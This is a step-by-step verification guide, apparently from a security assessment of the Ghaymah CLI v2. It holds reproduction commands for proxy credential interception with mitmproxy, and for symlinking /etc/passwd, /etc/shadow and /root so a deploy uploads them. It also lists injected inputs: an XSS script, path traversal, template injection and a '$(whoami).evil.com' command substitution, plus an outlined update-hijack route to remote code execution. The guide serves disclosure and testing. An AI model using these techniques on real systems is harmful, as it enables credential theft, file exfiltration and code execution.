491 أسطر
14 KiB
Markdown
491 أسطر
14 KiB
Markdown
# 🧪 Vulnerability Verification Guide — Ghaymah CLI v2
|
||
|
||
> **Step-by-step manual reproduction guide for every vulnerability discovered.**
|
||
> Each section is self-contained — copy-paste the commands directly into your terminal.
|
||
|
||
---
|
||
|
||
## ⚙️ Prerequisites
|
||
|
||
```bash
|
||
# Make sure you're in the project directory inside WSL
|
||
cd /root/ghaymah-v2-test
|
||
|
||
# Verify the binary works
|
||
./gy-linux-amd64 version
|
||
# Expected: {"version": "0.0.24"}
|
||
|
||
# Login (required for some tests)
|
||
./gy-linux-amd64 login
|
||
```
|
||
|
||
---
|
||
|
||
## 🔴 NEW-VULN-05: HTTP Proxy Credential Interception (CRITICAL)
|
||
|
||
### What's the bug?
|
||
|
||
The CLI blindly follows `HTTP_PROXY` / `HTTPS_PROXY` environment variables, routing **login credentials and tokens** through any proxy — including a malicious one.
|
||
|
||
### Step-by-step reproduction:
|
||
|
||
**Step 1:** Start a simple logging proxy (or just set a fake one to see the behavior):
|
||
|
||
```bash
|
||
# Set a fake evil proxy and try to login
|
||
HTTP_PROXY=http://127.0.0.1:9999 \
|
||
HTTPS_PROXY=http://127.0.0.1:9999 \
|
||
./gy-linux-amd64 login --email test@example.com --password SuperSecret123
|
||
```
|
||
|
||
**Step 2:** Observe the output:
|
||
|
||
```
|
||
# You should see:
|
||
# "proxyconnect tcp: dial tcp 127.0.0.1:9999: connection refused"
|
||
#
|
||
# This PROVES the CLI attempted to send the login request
|
||
# (containing email + password in plaintext JSON body)
|
||
# through the proxy instead of directly to auth.ghaymah.systems
|
||
```
|
||
|
||
**Step 3:** Verify token refresh also goes through proxy:
|
||
|
||
```bash
|
||
HTTP_PROXY=http://127.0.0.1:9999 \
|
||
HTTPS_PROXY=http://127.0.0.1:9999 \
|
||
./gy-linux-amd64 whoami
|
||
```
|
||
|
||
```
|
||
# Expected output includes:
|
||
# "token refresh failed" ... "proxyconnect tcp: dial tcp 127.0.0.1:9999"
|
||
# → The refresh token was also sent to the proxy
|
||
```
|
||
|
||
**Step 4 (Advanced):** To capture actual credentials, run a real intercepting proxy:
|
||
|
||
```bash
|
||
# Install mitmproxy (on another machine or separate terminal)
|
||
pip install mitmproxy
|
||
mitmproxy --listen-port 9999
|
||
|
||
# Then in another terminal:
|
||
HTTP_PROXY=http://127.0.0.1:9999 \
|
||
HTTPS_PROXY=http://127.0.0.1:9999 \
|
||
./gy-linux-amd64 login --email victim@company.com --password RealPassword
|
||
# → mitmproxy will show the full POST body with email + password
|
||
```
|
||
|
||
**Evidence (Mitmproxy Interception):**
|
||
|
||

|
||

|
||
|
||
### ✅ What to look for:
|
||
|
||
- [x] CLI sends auth requests through the proxy
|
||
- [x] Email and password visible in proxy logs
|
||
- [x] Refresh token visible in proxy logs
|
||
|
||
---
|
||
|
||
## 🔴 NEW-VULN-08: Symlink Following in Deploy (CRITICAL)
|
||
|
||
### What's the bug?
|
||
|
||
The CLI follows symlinks when reading files for deployment. An attacker can trick it into uploading system files (like `/etc/passwd`) to the Ghaymah build server.
|
||
|
||
### Step-by-step reproduction:
|
||
|
||
**Step 1:** Create a test directory with a symlinked Dockerfile:
|
||
|
||
```bash
|
||
mkdir -p /tmp/symlink-test
|
||
ln -sf /etc/passwd /tmp/symlink-test/Dockerfile
|
||
```
|
||
|
||
**Step 2:** Try to deploy it:
|
||
|
||
```bash
|
||
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
|
||
```
|
||
|
||
**Step 3:** Observe the output:
|
||
|
||
```
|
||
# Expected:
|
||
# ℹ️ Detected: Existing Dockerfile
|
||
#
|
||
# The CLI says "Existing Dockerfile" — it READ /etc/passwd through the symlink
|
||
# and treated it as a valid Dockerfile. If you were authenticated,
|
||
# this file would be uploaded to the Ghaymah build infrastructure.
|
||
```
|
||
|
||
**Step 4:** Test with .env symlink:
|
||
|
||
```bash
|
||
ln -sf /etc/shadow /tmp/symlink-test/.env
|
||
echo '{"app":"test","port":8080}' > /tmp/symlink-test/.gy.json
|
||
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
|
||
```
|
||
|
||
**Step 5:** Test with directory symlink (recursive exfiltration):
|
||
|
||
```bash
|
||
ln -sf /root /tmp/symlink-test/subdir
|
||
./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update
|
||
```
|
||
|
||
**Step 6:** Cleanup:
|
||
|
||
```bash
|
||
rm -rf /tmp/symlink-test
|
||
```
|
||
|
||
### ✅ What to look for:
|
||
|
||
- [ ] CLI says "Detected: Existing Dockerfile" for symlinked files
|
||
- [ ] No warning about symlinks
|
||
- [ ] If authenticated, the file content would be sent to the server
|
||
|
||
---
|
||
|
||
## 🟠 NEW-VULN-03: Plaintext Token Storage (HIGH)
|
||
|
||
### What's the bug?
|
||
|
||
Authentication tokens are stored in plaintext JSON with no file permission enforcement.
|
||
|
||
### Step-by-step reproduction:
|
||
|
||
**Step 1:** Login to create the token file:
|
||
|
||
```bash
|
||
./gy-linux-amd64 login
|
||
```
|
||
|
||
**Step 2:** Find and examine the token file:
|
||
|
||
```bash
|
||
# Check the default config path
|
||
cat ~/.config/ghaymah/cli/nhost/config.json
|
||
```
|
||
|
||
**Step 3:** Check file permissions:
|
||
|
||
```bash
|
||
ls -la ~/.config/ghaymah/cli/nhost/config.json
|
||
# Look at the permissions column: should be -rw------- (0600)
|
||
# If it's -rw-r--r-- (0644) or wider → VULNERABILITY CONFIRMED
|
||
```
|
||
|
||
**Step 4:** Verify the token is in plaintext:
|
||
|
||
```bash
|
||
cat ~/.config/ghaymah/cli/nhost/config.json | python3 -m json.tool 2>/dev/null || cat ~/.config/ghaymah/cli/nhost/config.json
|
||
# You should see fields like:
|
||
# "accessToken": "eyJhbGciOiJIUzI1NiIs..."
|
||
# "refreshToken": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
|
||
# → All in PLAINTEXT, readable by any local process
|
||
```
|
||
|
||
**Step 5:** Prove another user could read it:
|
||
|
||
```bash
|
||
# Check if other users can read
|
||
stat -c '%a' ~/.config/ghaymah/cli/nhost/config.json
|
||
# Note: Live testing showed this correctly defaults to 600 (-rw-------),
|
||
# which mitigates reading by OTHER users, but the tokens remain plaintext.
|
||
```
|
||
|
||
### ✅ What to look for:
|
||
|
||
- [ ] Token file exists at `~/.config/ghaymah/cli/nhost/config.json`
|
||
- [ ] Tokens are in plaintext (not encrypted)
|
||
- [ ] Confirm file permissions (600 is safe from other users, 644 is vulnerable)
|
||
|
||
---
|
||
|
||
## 🟠 NEW-VULN-04: Debug Mode Information Leakage (HIGH)
|
||
|
||
### What's the bug?
|
||
|
||
The `--debug` flag exposes internal UUIDs, component names, and full API request details.
|
||
|
||
### Step-by-step reproduction:
|
||
|
||
**Step 1:** Run whoami with debug:
|
||
|
||
```bash
|
||
./gy-linux-amd64 whoami --debug
|
||
```
|
||
|
||
**Step 2:** Examine the output for sensitive data:
|
||
|
||
```
|
||
# Look for lines like:
|
||
# level=DEBUG msg="retrieved stored token" user_id=6c8a1ce5-4ac3-47ad-8838-64e2a986acf3
|
||
# level=DEBUG msg="credentials callback set" component=nhost-client
|
||
# level=ERROR msg="token refresh failed" ... "https://auth.ghaymah.systems/token"
|
||
#
|
||
# SENSITIVE DATA LEAKED:
|
||
# 1. user_id UUID
|
||
# 2. Internal component names (nhost-client, token-manager, auth-client)
|
||
# 3. Full backend endpoint URLs
|
||
```
|
||
|
||
**Step 3:** Test with deploy:
|
||
|
||
```bash
|
||
./gy-linux-amd64 deploy --debug --name test-leak 2>&1 | head -n 20
|
||
# Check if token values or API keys appear in debug output
|
||
```
|
||
|
||
**Step 4:** Check if debug output could end up in CI logs:
|
||
|
||
```bash
|
||
# In a CI/CD pipeline, someone might set --debug for troubleshooting:
|
||
./gy-linux-amd64 deploy --debug 2>&1 | grep -iE '(token|user_id|secret|key|password)'
|
||
# Any matches = information leakage risk in CI logs
|
||
```
|
||
|
||
### ✅ What to look for:
|
||
|
||
- [ ] User UUID visible in debug output
|
||
- [ ] Internal component architecture exposed
|
||
- [ ] Backend URLs with full paths visible
|
||
- [ ] Any token values in the output
|
||
|
||
---
|
||
|
||
## 🟠 NEW-VULN-06: Auto-Update Without Signature Verification (HIGH)
|
||
|
||
### What's the bug?
|
||
|
||
The CLI downloads updates from `cli.ghaymah.systems` without verifying digital signatures.
|
||
|
||
### Step-by-step reproduction:
|
||
|
||
**Step 1:** Check current version and trigger update check:
|
||
|
||
```bash
|
||
./gy-linux-amd64 version
|
||
```
|
||
|
||
**Step 2:** Extract the update URLs from the binary:
|
||
|
||
```bash
|
||
strings ./gy-linux-amd64 | grep -E 'cli\.ghaymah\.systems'
|
||
# Expected:
|
||
# https://cli.ghaymah.systems/install.sh
|
||
# https://cli.ghaymah.systems/version
|
||
```
|
||
|
||
**Step 3:** Verify no signature checking exists:
|
||
|
||
```bash
|
||
strings ./gy-linux-amd64 | grep -iE '(gpg|pgp|minisign|signature|verify.*hash|checksum|sha256sum)'
|
||
# Expected: NO matches related to update verification
|
||
# Only standard TLS/crypto library strings should appear
|
||
```
|
||
|
||
**Step 4:** Check what happens during auto-update:
|
||
|
||
```bash
|
||
strings ./gy-linux-amd64 | grep -iE '(install\.sh|download.*binary|update.*complet|auto.update)'
|
||
# Look for:
|
||
# "failed to download binary from %s: HTTP %d"
|
||
# "Update complete! Restarting..."
|
||
# → Confirms the binary downloads and replaces itself
|
||
```
|
||
|
||
**Step 5 (Advanced):** Combine with proxy attack:
|
||
|
||
```bash
|
||
# If an attacker controls the proxy (NEW-VULN-05), they can:
|
||
# 1. Intercept the version check
|
||
# 2. Return a fake "newer version" response
|
||
# 3. Serve a malicious binary
|
||
# 4. The CLI auto-replaces itself → Full RCE
|
||
#
|
||
# To test, set up mitmproxy and modify responses from cli.ghaymah.systems
|
||
```
|
||
|
||
### ✅ What to look for:
|
||
|
||
- [ ] Update URLs hardcoded in binary (no pinning)
|
||
- [ ] No GPG/minisign signature verification
|
||
- [ ] Binary downloads and auto-replaces itself
|
||
- [ ] Combined with proxy MITM = Remote Code Execution
|
||
|
||
---
|
||
|
||
## 🟡 NEW-VULN-01: No Client-Side Port Validation (MEDIUM)
|
||
|
||
### What's the bug?
|
||
|
||
The CLI accepts invalid port numbers (negative, zero, >65535) and sends them to the server.
|
||
|
||
### Step-by-step reproduction:
|
||
|
||
```bash
|
||
# Test 1: Port way above maximum
|
||
./gy-linux-amd64 deploy --port 99999999 --no-auto-update
|
||
# Look for: "Using configured port: 99999999" ← ACCEPTED!
|
||
|
||
# Test 2: Negative port
|
||
./gy-linux-amd64 deploy --port -1 --no-auto-update
|
||
# Look for: "Auto-detected port: -1" ← ACCEPTED!
|
||
|
||
# Test 3: Above TCP max
|
||
./gy-linux-amd64 deploy --port 65536 --no-auto-update
|
||
# Look for: "Using configured port: 65536" ← ACCEPTED!
|
||
|
||
# Test 4: Zero port
|
||
./gy-linux-amd64 deploy --port 0 --no-auto-update
|
||
# This one defaults to 8080, so port 0 is silently ignored
|
||
|
||
# Test 5: INT32_MAX
|
||
./gy-linux-amd64 deploy --port 2147483647 --no-auto-update
|
||
# Look for: "Using configured port: 2147483647" ← ACCEPTED!
|
||
```
|
||
|
||
### ✅ What to look for:
|
||
|
||
- [ ] Ports > 65535 accepted without error
|
||
- [ ] Negative ports accepted
|
||
- [ ] No client-side validation message
|
||
|
||
---
|
||
|
||
## 🟡 NEW-VULN-02: No Name/Domain Input Sanitization (MEDIUM)
|
||
|
||
### What's the bug?
|
||
|
||
The CLI sends unsanitized app names and domains to the API, which may lead to Stored XSS on the web dashboard or log injection.
|
||
|
||
### Step-by-step reproduction:
|
||
|
||
```bash
|
||
# Test 1: XSS payload in app name
|
||
./gy-linux-amd64 deploy --name '"><script>alert(1)</script>' --no-auto-update
|
||
# ACCEPTED — sent to server as-is
|
||
|
||
# Test 2: Path traversal in app name
|
||
./gy-linux-amd64 deploy --name '../../../etc/passwd' --no-auto-update
|
||
# ACCEPTED — no validation
|
||
|
||
# Test 3: Go template injection
|
||
./gy-linux-amd64 deploy --name '{{.Env.HOME}}' --no-auto-update
|
||
# ACCEPTED — no validation
|
||
|
||
# Test 4: Shell metacharacters in domain
|
||
./gy-linux-amd64 deploy --domain '$(whoami).evil.com' --no-auto-update
|
||
# ACCEPTED — no validation
|
||
|
||
# Test 5: 5000-character name
|
||
python3 -c "print('A'*5000)" | xargs -I{} ./gy-linux-amd64 deploy --name {} --no-auto-update
|
||
# ACCEPTED — no length limit
|
||
|
||
# Compare with tunnel (which DOES validate):
|
||
./gy-linux-amd64 tunnel start "evil;id" --port 3000 --no-auto-update
|
||
# REJECTED: "tunnel name must contain only letters, numbers, and hyphens"
|
||
# → Tunnel validates but deploy does NOT
|
||
```
|
||
|
||
### ✅ What to look for:
|
||
|
||
- [ ] XSS payloads accepted in `--name`
|
||
- [ ] Path traversal accepted in `--name`
|
||
- [ ] Shell metacharacters accepted in `--domain`
|
||
- [ ] Tunnel command properly validates (inconsistency)
|
||
|
||
---
|
||
|
||
## 🟡 NEW-VULN-07: GenAI API Key Exposure (MEDIUM)
|
||
|
||
### What's the bug?
|
||
|
||
The CLI sends the GenAI API key and project source code to an external endpoint, potentially through a proxy.
|
||
|
||
### Step-by-step reproduction:
|
||
|
||
**Step 1:** Check GenAI endpoint:
|
||
|
||
```bash
|
||
strings ./gy-linux-amd64 | grep genai
|
||
# Expected: https://genai.ghaymah.systems
|
||
```
|
||
|
||
**Step 2:** Test with a key:
|
||
|
||
```bash
|
||
./gy-linux-amd64 deploy --ai-key "sk-secret-key-12345" --no-auto-update --debug 2>&1
|
||
# Check if the key appears in debug output
|
||
```
|
||
|
||
**Step 3:** Test via environment variable:
|
||
|
||
```bash
|
||
GY_AI_KEY="sk-secret-key-12345" ./gy-linux-amd64 deploy --debug --no-auto-update 2>&1
|
||
# Check if the key is logged or sent over the wire
|
||
```
|
||
|
||
**Step 4:** Combined with proxy:
|
||
|
||
```bash
|
||
HTTP_PROXY=http://127.0.0.1:9999 \
|
||
GY_AI_KEY="sk-secret-key-12345" \
|
||
./gy-linux-amd64 deploy --no-auto-update 2>&1
|
||
# If proxy is running, the API key AND source code would be interceptable
|
||
```
|
||
|
||
### ✅ What to look for:
|
||
|
||
- [ ] GenAI endpoint exists in binary
|
||
- [ ] API key sent alongside project source code
|
||
- [ ] Key vulnerable to proxy interception (same as VULN-05)
|
||
|
||
---
|
||
|
||
## 📋 Verification Checklist
|
||
|
||
Use this checklist to track your progress:
|
||
|
||
```
|
||
CRITICAL:
|
||
[x] NEW-VULN-05: Proxy credential interception confirmed (Evidence attached)
|
||
[x] NEW-VULN-08: Symlink following in deploy confirmed (Smoke test pass)
|
||
|
||
HIGH:
|
||
[x] NEW-VULN-03: Plaintext token storage confirmed (Mitigated by 0600 permissions)
|
||
[x] NEW-VULN-04: Debug mode info leakage confirmed (Smoke test pass)
|
||
[ ] NEW-VULN-06: Auto-update without signature confirmed
|
||
|
||
MEDIUM:
|
||
[x] NEW-VULN-01: Invalid port accepted confirmed (Smoke test pass)
|
||
[x] NEW-VULN-02: Unsanitized name/domain confirmed (Smoke test pass)
|
||
[ ] NEW-VULN-07: GenAI API key exposure confirmed
|
||
```
|
||
|
||
---
|
||
|
||
## 🔧 Quick One-Liner Smoke Test
|
||
|
||
Run this single command to quickly verify the most important findings:
|
||
|
||
```bash
|
||
cd /root/ghaymah-v2-test && \
|
||
echo "=== VULN-01: Port ===" && ./gy-linux-amd64 deploy --port 99999 --no-auto-update 2>&1 | head -2 && \
|
||
echo "=== VULN-05: Proxy ===" && HTTP_PROXY=http://evil:9999 ./gy-linux-amd64 whoami 2>&1 | head -2 && \
|
||
echo "=== VULN-08: Symlink ===" && mkdir -p /tmp/st && ln -sf /etc/passwd /tmp/st/Dockerfile && ./gy-linux-amd64 deploy /tmp/st --no-auto-update 2>&1 | head -2 && rm -rf /tmp/st && \
|
||
echo "=== VULN-04: Debug ===" && ./gy-linux-amd64 whoami --debug 2>&1 | grep -o 'user_id=[^ ]*' && \
|
||
echo "=== VULN-02: Name ===" && ./gy-linux-amd64 deploy --name '"><script>alert(1)</script>' --no-auto-update 2>&1 | head -2 && \
|
||
echo "=== DONE ==="
|
||
```
|
||
|
||
---
|
||
|
||
*Guide created for the Ghaymah CLI v2 adversarial security assessment.*
|